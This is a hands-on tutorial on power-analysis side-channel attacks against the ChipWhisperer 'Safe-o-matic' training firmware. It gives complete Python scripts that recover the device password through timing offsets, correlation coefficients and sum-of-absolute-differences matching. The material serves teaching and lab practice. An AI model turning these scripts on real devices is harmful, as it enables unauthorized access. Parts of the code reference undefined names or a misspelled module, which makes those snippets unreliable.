Summary: This article will introduce you to discovering and determining when a device is performing certain operations, Our target target device will perform a simple password check and demonstrate how to perform a basic power analysis.
Learning Outcomes:
- How power can be used to determine timing information.
- Plot multiple iterations while varying input data to find interesting locations.
- Using waveform difference to find interesting locations.
- Performing energy captures with ChipWhisperer hardware (hardware only).
- Perform analysis by applying data correlation.
Static analysis
Below you will find the code implemented in the target.
/*
This file is part of the ChipWhisperer Example Targets
Copyright (C) 2012-2015 NewAE Technology Inc.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "hal.h"
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#define IDLE 0
#define KEY 1
#define PLAIN 2
#define BUFLEN 64
uint8_t memory[BUFLEN];
uint8_t tmp[BUFLEN];
char asciibuf[BUFLEN];
uint8_t pt[16];
static void delay_2_ms(void);
void my_puts(char *c)
{
do {
putch(*c);
} while (*++c);
}
static void delay_2_ms()
{
for (volatile unsigned int i=0; i < 0xfff; i++ ){
;
}
}
void my_read(char *buf, int len)
{
for(int i = 0; i < len; i++) {
while (buf[i] = getch(), buf[i] == '\0');
if (buf[i] == '\n') {
buf[i] = '\0';
return;
}
}
buf[len - 1] = '\0';
}
int main(void)
{
platform_init();
init_uart();
trigger_setup();
char passwd[32];
char correct_passwd[] = "h0px3";
while(1){
my_puts("*****Safe-o-matic 3000 Booting...\n");
//Print some fancy-sounding stuff so that attackers
//will get scared and leave us alone
my_puts("Aligning bits........[DONE]\n");
delay_2_ms();
my_puts("Checking Cesium RNG..[DONE]\n");
delay_2_ms();
my_puts("Masquerading flash...[DONE]\n");
delay_2_ms();
my_puts("Decrypting database..[DONE]\n");
delay_2_ms();
my_puts("\n\n");
//Give them one last warning
my_puts("WARNING: UNAUTHORIZED ACCESS WILL BE PUNISHED\n");
trigger_low();
//Get password
my_puts("Please enter password to continue: ");
my_read(passwd, 32);
uint8_t passbad = 0;
trigger_high();
for(uint8_t i = 0; i < sizeof(correct_passwd); i++){
if (correct_passwd[i] != passwd[i]){
passbad = 1;
break;
}
}
if (passbad){
//Stop them fancy timing attacks
int wait = 1;
for(volatile int i = 0; i < wait; i++){
;
}
delay_2_ms();
delay_2_ms();
my_puts("PASSWORD FAIL\n");
led_error(1);
} else {
my_puts("Access granted, Welcome!\n");
led_ok(1);
}
//All done;
while(1);
}
return 1;
}
Focus on the most important points in this code which is as follows:
for(uint8_t i = 0; i < sizeof(correct_passwd); i++){
if (correct_passwd[i] != passwd[i]){
passbad = 1;
break;
}
}
if (passbad){
//Stop them fancy timing attacks
int wait = 1;
for(volatile int i = 0; i < wait; i++){
;
}
delay_2_ms();
delay_2_ms();
my_puts("PASSWORD FAIL\n");
led_error(1);
} else {
my_puts("Access granted, Welcome!\n");
led_ok(1);
}
In the above code you can see a for loop which goes from the numerical range 0 to the password size, then does a position by position validation of the array containing the entered password with the one stored in the device.
If a character does not match the corresponding position of the password entered with the stored one, a flag with value 1 is set.
In the validation of the flag, in the if you can see that there is a delay to display the incorrect password message.
You may ask yourself, what is the bug here? You will initially exploit the idea that there will be a time mis-phase between a correct and incorrect character according to the analysis you observed earlier.
ChipWhisperer and Target Card Configuration
You can start by configuring the ChipWhisperer against the target with which it should interact.
Additionally you can also add global variables to interact with your ChipWhisperer device in this case Lite ARM.
SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEARM'
SS_VER = 'SS_VER_1_1'
The following code will connect the scope and do a basic configuration, the communication with the target will be done through Serial communication.
import chipwhisperer as cw
import time
try:
if not scope.connectStatus:
scope.con()
except NameError:
scope = cw.scope()
try:
if SS_VER == "SS_VER_2_1":
target_type = cw.targets.SimpleSerial2
elif SS_VER == "SS_VER_2_0":
raise OSError("SS_VER_2_0 is deprecated. Use SS_VER_2_1")
else:
target_type = cw.targets.SimpleSerial
except:
SS_VER="SS_VER_1_1"
target_type = cw.targets.SimpleSerial
try:
target = cw.target(scope, target_type)
except:
print("INFO: Caught exception on reconnecting to target - attempting to reconnect to scope first.")
print("INFO: This is a work-around when USB has died without Python knowing. Ignore errors above this line.")
scope = cw.scope()
target = cw.target(scope, target_type)
print("INFO: Found ChipWhisperer😍")
It is important to set a function to reset the target (triggers in this case) and set the default values for sampling.
scope.default_setup()
def reset_target(scope):
if PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
scope.io.pdic = 'low'
time.sleep(0.05)
scope.io.pdic = 'high'
time.sleep(0.05)
else:
scope.io.nrst = 'low'
time.sleep(0.05)
scope.io.nrst = 'high'
time.sleep(0.05)
Now establish a simple communication with the target to see that it is interacting correctly from the chipwhisperer through the Serial protocol.
reset_target(scope)
target.flush()
target.write("h0p\n")
print(target.read(timeout=100))
You should now see the communication output with the target.
Decrypting database..[DONE]
WARNING: UNAUTHORIZED ACCESS WILL BE PUNISHED
Please enter password to continue:
Dynamic analysis
To start this analysis consider the following points, if you will be in a black box analysis where you do not have access to the source code, the first thing to consider is to test the input of characters to see if any respond differently.
This in order to look for traces of differences and take it as a baseline.
So start by sending a null byte \x00
and the character h and it will do an energy capture, send it to plot a range of 300
traces of both characters.
Then for this you will need to create a function that allows you to send information to the target and capture the energy trace that is currently being performed.
def cap_pass_trace(pass_guess):
reset_target(scope)
num_char = target.in_waiting()
while num_char > 0:
target.read(num_char, 10)
time.sleep(0.01)
num_char = target.in_waiting()
scope.arm()
target.write(pass_guess)
ret = scope.capture()
if ret:
print('Timeout happened during acquisition')
trace = scope.get_last_trace()
return trace
You do not need all 5000
default samples in the chipwhisperer track, 3000
is a good starting point for most targets:
scope.adc.samples = 3000
now see an example to find a difference between a reference trace that we believe to be incorrect, an invalid character within a password, for example the null byte \x00
.
from tqdm.notebook import tnrange
import strings
%matplotlib notebook
import matplotlib.pylab as plt
plt.figure(figsize=(9,7), dpi= 100, facecolor='w', edgecolor='k')
password = [x for x in string.digits ]
ref_trace = cap_pass_trace("\x00\n")[0:300]
traces = []
for i in tnrange(len(password), desc='Capturing traces'):
trace = cap_pass_trace(str(password[i]) + "\n")
traces.append(trace)
for t in range(0,len(traces)):
plt.plot(traces[t][0:300], label=password[t])
plt.legend()
plt.show()
When you plot the results you will see the following:
Clearly the value 4
is a value that has a lot of relevance, compared to the others, so you can assume that it can be a candidate, for your password.
Note that for this example we changed the source code password, now we will continue with another password.
Changing the password of the device I did a data capture for the letter h which is the correct initial letter of the new password, I also captured another frame with a wrong value, for example \x00
, and I observed:
trace_wrong = cap_pass_trace("\x00\n")
trace_correct = cap_pass_trace("h\n")
With this you have captured the energy traces for an incorrect value and for a correct value of the password, then view the results, plotting them through the holoview library.
import holoviews as hv
hv.extension('bokeh')
graph_wrong = hv.Curve(trace_wrong[0:300], label="wrong data").opts(height=800, width=800, color='red', tools=['hover'])
graph_success = hv.Curve(trace_correct[0:300], label="success data").opts(height=800, width=800, color='green', tools=['hover'])
overlay = graph_wrong * graph_success
# Visualizar la gráfica
overlay.opts(height=800, width=800, xlabel='Eje X', ylabel='Eje Y', title='Gráfica de datos', border_line_dash='dashed', legend_position='bottom', legend_offset=(0, 10))
In the following graph you can see the time lag of the energy capture of a correct and an incorrect character of the password.
Then look at the following energy trace information.
- The red graphic acts as an invalid character and the green one as a valid character, we know this because we could see it through the source code.
- Note that the time lag in this energy capture is obvious, it is the time lag from an incorrect character to a correct character.
You can also see that the peak energy for the wrong character in this case is on the x-axis with a value of 96
.
Now notice that the energy trace on the x-axis for a correct character is located at 136
so you will observe a phase shift of 40 (136 - 96) = 40
There are different peaks which you can choose for your analysis but for this article we will mainly focus on this one because it was quite clear and obvious, then:
X1 | X2 | D |
---|---|---|
96 | 136 | 40 |
x1
means the beginning of an incorrect character in the sample 96
x2
means the beginning of a correct character in the sample 136
d
assumes the de-facing distance, so with that you can tell the algorithm to start at sample 136
and thereafter add 40
and it will find the next energy trace of the next character that is correct, see an example of the calculation you just did and see if the algorithm detects the first character in the identified data.
Another important thing is to see the y-axis value of this energy peak, which you can see by zooming in a little more on the graph at the correct character point.
Therefore the condition starts at the peak of the x-axis of 136 and y must be greater than 0.12 to ensure that if it mistakenly finds a peak at the same position it meets the y-axis condition.
The validation function will be as follows:
def check_pass(trace, i):
if PLATFORM == "CWLITEARM" or PLATFORM == "CW308_STM32F3":
return trace[136 + 40 * i] > 0.12
and the code for traversing the characters will be as follows:
trylist = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
for c in trylist:
next_pass = password + c + "\n"
trace = cap_pass_trace(next_pass)
if theCheckPass(trace, 0):
print("Success: " + c)
break
When you run it you will see the following:
You already have the first correct character referencing the h
, which is correct.
You can also view a differential trace of a non-printable character such as \x00
against the printable string, this will reveal a clear plot of the energy consumption of a possibly correct character.
import holoviews as hv
from bokeh.io import output_notebook
from bokeh.plotting import show
output_notebook()
LIST_OF_VALID_CHARACTERS = string.ascii_letters + string.digits + string.punctuation
ref_trace = cap_pass_trace("\x00\n")[0:500]
curves = []
for CHARACTER in LIST_OF_VALID_CHARACTERS:
trace = cap_pass_trace(CHARACTER + "\n")[0:500]
curve = hv.Curve(trace - ref_trace)
curves.append(curve)
overlay = hv.Overlay(curves)
overlay.opts(height=500, width=500, xlabel='Eje X', ylabel='Eje Y', title='Gráfica de datos', border_line_dash='dashed', legend_position='bottom', legend_offset=(0, 10))
show(hv.render(overlay, backend='bokeh'))
Finally automate the final script to remove the entire password, using the time de-phasing method.
def theCheckPass(trace, i):
if PLATFORM == "CWLITEARM" or PLATFORM == "CW308_STM32F3":
print(i)
if i == 5:
return trace[140 + 32*i] > 0.025
else:
return trace[140 + 36*i] > 0.15
trylist = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
for i in range(6):
for c in trylist:
next_pass = password + c + "\n"
trace = cap_pass_trace(next_pass)
if theCheckPass(trace, i):
password += c
print("Success, pass now {}".format(password))
break
In the following video, a demonstration of the attack is made using the previous analysis, using a different password to the one previously mentioned.
Keep in mind that the limits of de-faces, will vary, so you must analyze at the beginning the wrong character, with a correct one.
Attack through data correlation
What does it mean for two variables to be correlated? Simply put, it means that the variables are related because they move together in some way. Perhaps one goes up while the other goes down or both go up together. This is not the same as a movement in one variable causing the other to go up or down; there may be an invisible third variable controlling the other two; however, knowing the value of one of the variables will still give you information about the second if they are correlated.
Many people are introduced to correlation in beginning statistics classes with a formula for Pearson’s correlation coefficient and a set of graphs demonstrating various levels of correlation like this one:
In the far left graph, there is only a very low correlation between our x and y variables. On the right there is a very high correlation; the two variables appear to move in unison, as x increases, invariably y does as well. The value of Pearson’s correlation coefficient reflects the important trends quite well, with the blocking relationship on the right represented by a value close to 1 and the low correlation on the left captured by a value close to 0. Of course, variables can also be negatively correlated, where the value of Y generally falls as X increases:
Then, the value of the correlation can be between [-1; 1]
. If it is close to 1
, then the 2
variables are positively correlated; otherwise, if the value is close to -1
, then they are negatively correlated; otherwise, they are uncorrelated: values between [-0.5; 0.5]
for example!
To perform this attack we will then calculate the correlation between an incorrect character that does not belong to a password e.g. \x00
versus the printable characters that may belong to a password.
Incorrect character will have a high correlation with our bad character (corr > 0.9) Correct character will have a low correlation with our bad character (corr < 0.9)
Let’s see an example in the following code, which will use Pearson’s correlation
from numpy import corrcoef
import string
import time
cont = 0
trylist = string.ascii_letters + string.digits + string.punctuation
traces = {}
wrong_value = cap_pass_trace("\x00" + "\n")
min_corr = 1
good_char = ''
for c in trylist:
traces[c] = cap_pass_trace(c + "\n")
corr = corrcoef(wrong_value, traces[c])[0][1]
if cont % 2 == 0:
print(f"\\x00 vs {c}: {corr}\t",end="")
else:
print(f"\\x00 vs {c}: {corr}\n",end="")
if corr < min_corr:
min_corr = corr
good_char = c
time.sleep(0.01)
cont += 1
print("[*] Found character: {}".format(good_char))
Our output is clear, all characters compared to \x00
when incorrect are greater than 0.9
but h is below and with this we can see that it is a correct character.
Now let’s write a complete code that attacks the password no matter its size.
from numpy import corrcoef
import string
import time
corr_threshold = 0.9
def next_char(pwd):
trylist = string.ascii_letters + string.digits + string.punctuation
traces = {}
min_corr = 1
char = ''
tmp = cap_pass_trace(pwd + "\x00" + "\n")
for c in trylist:
traces[c] = cap_pass_trace(pwd + c + "\n")
corr = corrcoef(tmp, traces[c])[0][1]
if corr < min_corr:
min_corr = corr
char = c
time.sleep(0.01)
return char, min_corr
pwd = ''
while True:
char, corr = next_char(pwd)
if corr < corr_threshold:
pwd += char
print(f"[*] Leaking password: {pwd}")
else:
print(f"[*] Found Password: {pwd}")
break
The output of our program manages to like our password correctly.
Note that the default password was changed to see the final code implementation.
Going a little deeper ChatGPT suggests the following so we created additional code for the suggested correlation methods.
ChatGPT suggests:
For this type of power analysis where an energy trace of a character from an incorrect key is used as the reference value, it is advisable to use a nonlinear correlation rather than a linear correlation or linear regression. The reason for this is that the relationships between energy capture and time values in a power trace are often nonlinear, and a linear correlation or linear regression would not be adequate to capture these nonlinear relationships.
Instead, a nonlinear correlation, such as Kendall’s correlation or Spearman’s correlation, is more appropriate for measuring the relationship between two nonlinear variables. In addition, a nonlinear regression, such as degree 2 polynomial regression or exponential regression, could also be used to model the nonlinear relationship between energy capture and time values in power traces.
In summary, we suggest using a nonlinear correlation or nonlinear regression for this type of power analysis in which an energy trace of a character from an incorrect password is used as a reference value versus alphabet characters to guess the correct password.
Kendall’s Nonlinear Correlation
from scipy.stats import kendalltau
import matplotlib.pyplot as plt
import numpy as np
import string
trylist = string.ascii_letters + string.digits + string.punctuation
traces = {}
wrong_value = cap_pass_trace("\x00" + "\n")
for c in trylist:
traces[c] = cap_pass_trace(c + "\n")
# Calcular la correlación no lineal (coeficiente de correlación de Kendall)
corr, p_value = kendalltau([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)))
# Realizar la regresión polinómica de grado 2
polyfit = np.polyfit([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), 2)
x = np.linspace(min([np.mean(traces[x]) for x in traces.keys()]), max([np.mean(traces[x]) for x in traces.keys()]), 100)
y = np.polyval(polyfit, x)
fig = plt.figure(figsize=(15, 12))
ax = fig.add_subplot(1, 1, 1)
# Graficar los datos, la regresión polinómica de grado 2 y la clave errónea
ax.plot([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), 'o', label='Datos', markersize=10, color='silver')
ax.plot(x, y, label='Regresión polinómica de grado 2', color='orange')
ax.axvline(x=np.mean(wrong_value), color='red', linestyle='--', label='Clave errónea', linewidth=2)
# Escribir la letra correspondiente a cada dato
for i, letter in enumerate([x for x in traces.keys()]):
ax.text(np.mean(traces[letter]), i, letter, ha='left', va='center', fontsize=12, color='magenta')
# Escribir la letra con la correlación más alta y más baja
corr_list = [(letter, corr_coef) for letter, corr_coef in zip(traces.keys(), [kendalltau(traces[letter], wrong_value)[0] for letter in traces.keys()])]
max_corr = max(corr_list, key=lambda x: x[1])
min_corr = min(corr_list, key=lambda x: x[1])
# Mostrar valores de correlación fuera de la gráfica
plt.text(1.05, 0.93, f'Menor correlación: {min_corr[0]} ({min_corr[1]:.3f})', transform=ax.transAxes, color='green', fontsize=14)
plt.text(1.05, 0.87, f'Mayor correlación: {max_corr[0]} ({max_corr[1]:.3f})', transform=ax.transAxes, color='red', fontsize=14)
# Personalizar la apariencia de la gráfica
ax.set_xlabel('Captura de energía', fontsize=16)
ax.set_ylabel('Índice de letra', fontsize=16)
ax.set_title('Correlación entre captura de energía y letra del alfabeto', fontsize=18)
ax.legend(fontsize=14, loc='lower right')
ax.tick_params(axis='both', labelsize=14)
plt.show()
Spearman’s nonlinear correlation
from scipy.stats import spearmanr
import matplotlib.pyplot as plt
import numpy as np
import string
trylist = string.ascii_letters + string.digits + string.punctuation
traces = {}
wrong_value = cap_pass_trace("\x00" + "\n")
for c in trylist:
traces[c] = cap_pass_trace(c + "\n")
# Calcular la correlación no lineal (coeficiente de correlación de Spearman)
corr, p_value = spearmanr([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)))
# Realizar la regresión polinómica de grado 2
polyfit = np.polyfit([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), 2)
x = np.linspace(min([np.mean(traces[x]) for x in traces.keys()]), max([np.mean(traces[x]) for x in traces.keys()]), 100)
y = np.polyval(polyfit, x)
fig = plt.figure(figsize=(15, 12))
ax = fig.add_subplot(1, 1, 1)
# Graficar los datos, la regresión polinómica de grado 2 y la clave errónea
ax.plot([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), 'o', label='Datos', markersize=10, color='silver')
ax.plot(x, y, label='Regresión polinómica de grado 2', color='orange')
ax.axvline(x=np.mean(wrong_value), color='red', linestyle='--', label='Clave errónea', linewidth=2)
# Escribir la letra correspondiente a cada dato
for i, letter in enumerate([x for x in traces.keys()]):
ax.text(np.mean(traces[letter]), i, letter, ha='left', va='center', fontsize=12, color='magenta')
# Escribir la letra con la correlación más alta y más baja
corr_list = [(letter, corr_coef) for letter, corr_coef in zip(traces.keys(), [spearmanr(traces[letter], wrong_value)[0] for letter in traces.keys()])]
max_corr = max(corr_list, key=lambda x: x[1])
min_corr = min(corr_list, key=lambda x: x[1])
# Mostrar valores de correlación fuera de la gráfica
plt.text(1.05, 0.93, f'Menor correlación: {min_corr[0]} ({min_corr[1]:.3f})', transform=ax.transAxes, color='green', fontsize=14)
plt.text(1.05, 0.87, f'Mayor correlación: {max_corr[0]} ({max_corr[1]:.3f})', transform=ax.transAxes, color='red', fontsize=14)
# Personalizar la apariencia de la gráfica
ax.set_xlabel('Captura de energía', fontsize=16)
ax.set_ylabel('Índice de letra', fontsize=16)
ax.set_title('Correlación entre captura de energía y letra del alfabeto', fontsize=18)
ax.legend(fontsize=14, loc='lower right')
ax.tick_params(axis='both', labelsize=14)
plt.show()
Non-linear regression
Not necessarily. Nonlinear regression can use any type of correlation coefficient, including Pearson’s, Kendall’s or Spearman’s correlation coefficient. In the code I provided above, I used Spearman’s correlation coefficient, but you could modify it to use any other correlation coefficient you wish.
from scipy.stats import kendalltau, spearmanr
from scipy.optimize import curve_fit
import matplotlib.pyplot as plt
import numpy as np
import string
def func(x, a, b, c):
return a * np.exp(-b * x) + c
trylist = string.ascii_letters + string.digits + string.punctuation
traces = {}
wrong_value = cap_pass_trace("\x00" + "\n")
for c in trylist:
traces[c] = cap_pass_trace(c + "\n")
# Calcular la correlación no lineal (coeficiente de correlación de Spearman)
corr, p_value = spearmanr([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)))
# Realizar la regresión no lineal
popt, pcov = curve_fit(func, [np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), maxfev=10000)
x = np.linspace(min([np.mean(traces[x]) for x in traces.keys()]), max([np.mean(traces[x]) for x in traces.keys()]), 100)
y = func(x, *popt)
fig = plt.figure(figsize=(15, 12))
ax = fig.add_subplot(1, 1, 1)
# Graficar los datos, la regresión no lineal y la clave errónea
ax.plot([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), 'o', label='Datos', markersize=10, color='silver')
ax.plot(x, y, label='Regresión no lineal', color='orange')
ax.axvline(x=np.mean(wrong_value), color='red', linestyle='--', label='Clave errónea', linewidth=2)
# Escribir la letra correspondiente a cada dato
for i, letter in enumerate([x for x in traces.keys()]):
ax.text(np.mean(traces[letter]), i, letter, ha='left', va='center', fontsize=12, color='magenta')
# Escribir la letra con la correlación más alta y más baja
corr_list = [(letter, corr_coef) for letter, corr_coef in zip(traces.keys(), [spearmanr(traces[letter], wrong_value)[0] for letter in traces.keys()])]
max_corr = max(corr_list, key=lambda x: x[1])
min_corr = min(corr_list, key=lambda x: x[1])
# Mostrar valores de correlación fuera de la gráfica
plt.text(1.05, 0.93, f'Menor correlación: {min_corr[0]} ({min_corr[1]:.3f})', transform=ax.transAxes, color='green', fontsize=14)
plt.text(1.05, 0.87, f'Mayor correlación: {max_corr[0]} ({max_corr[1]:.3f})', transform=ax.transAxes, color='red', fontsize=14)
# Personalizar la apariencia de la gráfica
ax.set_xlabel('Captura de energía', fontsize=16)
ax.set_ylabel('Índice de letra', fontsize=16)
ax.set_title('Correlación entre captura de energía y letra del alfabeto', fontsize=18)
ax.legend(fontsize=14, loc='lower right')
ax.tick_params(axis='both', labelsize=14)
plt.show()
Attack via SAD match
In general terms: The SAD measures the absolute difference between the values of each point of the two signals and then adds up all the differences.
Then we can do the same as in the previous case, we take an energy trace of an incorrect character and calculate the SAD with this trace and that of the alphabet or the characters we want to check, let’s see an example
import numpy as np
import string
import time
def SAD(signal1, signal2):
"""Calcula la Suma de Diferencia Absoluta entre dos señales."""
return np.sum(np.abs(signal1 - signal2))
trylist = string.ascii_letters + string.digits + string.punctuation
traces = {}
wrong_value = cap_pass_trace("\x00" + "\n")
for c in trylist:
traces[c] = cap_pass_trace(c + "\n")
time.sleep(0.01)
for key, value in traces.items():
print(f"[*] SAD {key} = {SAD(wrong_value, value)}")
Now we can see the output of the SAD calculation, and we see an obvious value h [*] SAD h = 95.7744140625
[*] SAD a = 4.015625
[*] SAD b = 3.6962890625
[*] SAD c = 3.9501953125
[*] SAD d = 3.8095703125
[*] SAD e = 3.8857421875
[*] SAD f = 3.3349609375
[*] SAD g = 3.36328125
[*] SAD h = 95.7744140625
[*] SAD i = 3.6767578125
[*] SAD j = 4.279296875
[*] SAD k = 4.181640625
[*] SAD l = 4.2578125
[*] SAD m = 4.08984375
[*] SAD n = 4.04296875
[*] SAD o = 3.54296875
[*] SAD p = 3.73046875
[*] SAD q = 3.5810546875
[*] SAD r = 3.8193359375
[*] SAD s = 3.396484375
[*] SAD t = 3.537109375
[*] SAD u = 3.986328125
[*] SAD v = 4.0986328125
[*] SAD w = 3.7373046875
[*] SAD x = 3.583984375
[*] SAD y = 4.15234375
[*] SAD z = 4.0654296875
[*] SAD A = 3.1796875
[*] SAD B = 3.6962890625
[*] SAD C = 3.8486328125
[*] SAD D = 3.2958984375
[*] SAD E = 3.75390625
[*] SAD F = 3.4580078125
[*] SAD G = 3.126953125
[*] SAD H = 3.9296875
[*] SAD I = 3.4541015625
[*] SAD J = 3.9306640625
[*] SAD K = 3.279296875
[*] SAD L = 4.052734375
[*] SAD M = 3.2626953125
[*] SAD N = 3.697265625
[*] SAD O = 4.046875
[*] SAD P = 3.638671875
[*] SAD Q = 3.5185546875
[*] SAD R = 3.5078125
[*] SAD S = 3.328125
[*] SAD T = 3.375
[*] SAD U = 3.77734375
[*] SAD V = 4.0576171875
[*] SAD W = 3.7939453125
[*] SAD X = 3.2548828125
[*] SAD Y = 3.3330078125
[*] SAD Z = 4.044921875
[*] SAD 0 = 3.5615234375
[*] SAD 1 = 4.0693359375
[*] SAD 2 = 4.0283203125
[*] SAD 3 = 3.4384765625
[*] SAD 4 = 3.4462890625
[*] SAD 5 = 3.27734375
[*] SAD 6 = 3.8154296875
[*] SAD 7 = 3.7734375
[*] SAD 8 = 4.0146484375
[*] SAD 9 = 4.0498046875
[*] SAD ! = 3.576171875
[*] SAD " = 3.6943359375
[*] SAD # = 3.744140625
[*] SAD $ = 3.33203125
[*] SAD % = 3.6103515625
[*] SAD & = 3.3046875
[*] SAD ' = 4.0205078125
[*] SAD ( = 4.1455078125
[*] SAD ) = 3.4169921875
[*] SAD * = 4.1064453125
[*] SAD + = 3.203125
[*] SAD , = 3.546875
[*] SAD - = 3.638671875
[*] SAD . = 3.625
[*] SAD / = 4.0361328125
[*] SAD : = 4.0498046875
[*] SAD ; = 3.3701171875
[*] SAD < = 3.845703125
[*] SAD = = 3.599609375
[*] SAD > = 4.0732421875
[*] SAD ? = 3.5791015625
[*] SAD @ = 3.5751953125
[*] SAD [ = 3.794921875
[*] SAD \ = 3.421875
[*] SAD ] = 3.439453125
[*] SAD ^ = 3.4912109375
[*] SAD _ = 3.7392578125
[*] SAD ` = 3.8662109375
[*] SAD { = 3.2724609375
[*] SAD | = 3.6103515625
[*] SAD } = 4.1787109375
[*] SAD ~ = 3.8369140625
You can then use this same vector to attack the password
Let’s see an example plotting the data.
import numpy as np
import string
import time
import holoviews as hv
from bokeh.plotting import show
from bokeh.io import output_notebook
from bokeh.models import HoverTool
# Carga la extensión de Holoviews para Bokeh
hv.extension('bokeh')
output_notebook()
def SAD(signal1, signal2):
"""Calcula la Suma de Diferencia Absoluta entre dos señales."""
return np.sum(np.abs(signal1 - signal2))
trylist = string.ascii_letters + string.digits + string.punctuation
traces = {}
wrong_value = cap_pass_trace("\x00" + "\n")
min_corr = 1
good_char = ''
for c in trylist:
traces[c] = cap_pass_trace(c + "\n")
time.sleep(0.01)
data = []
for key, value in traces.items():
data.append((key, SAD(wrong_value, value)))
points = hv.Points(data, ['key', 'SAD'])
# Define el gráfico y su estilo
scatter = points.opts(color='red', size=10, xlabel='Carácter', ylabel='SAD', title='SAD por carácter',width=1200, height=800)
# Crea una instancia de la herramienta HoverTool de Bokeh
hover = HoverTool(tooltips=[('Carácter', '@key'), ('SAD', '@SAD')])
# Conecta la herramienta HoverTool con el gráfico
scatter = hv.render(scatter, backend='bokeh')
scatter.add_tools(hover)
# Muestra el gráfico en el notebook de Jupyter
show(scatter)
You can see that the SAD value for h is indisputably different from the others, indicating a likely password character.
Then you can assemble your code to attack the entire password
import numpy as np
import string
import time
def SAD(signal1, signal2):
"""Calcula la Suma de Diferencia Absoluta entre dos señales."""
return np.sum(np.abs(signal1 - signal2))
def next_char(pwd):
trylist = string.ascii_letters + string.digits + string.punctuation
traces = {}
sad = {}
passwd = ''
wrong_value_ref = cap_pass_trace(pwd + "\x00" + "\n")
for c in trylist:
traces[c] = cap_pass_trace(pwd + c + "\n")
sad[c] = SAD(wrong_value, traces[c])
time.sleep(0.01)
max_key = max(sad, key=sad.get)
max_value = traces[max_key]
passwd = max_key
return passwd, sad[max_key]
pwd = ''
tmp = 0
while True:
char, sad = next_char(pwd)
if sad > tmp:
pwd += char
print(f"[*] Leaking password: {pwd}")
tmp = sad
else:
print(f"[*] Found Password: {pwd}")
break
Greetings @sasaga92 Happy Hacking by Hawktesters Team.
Definitivamente Brutal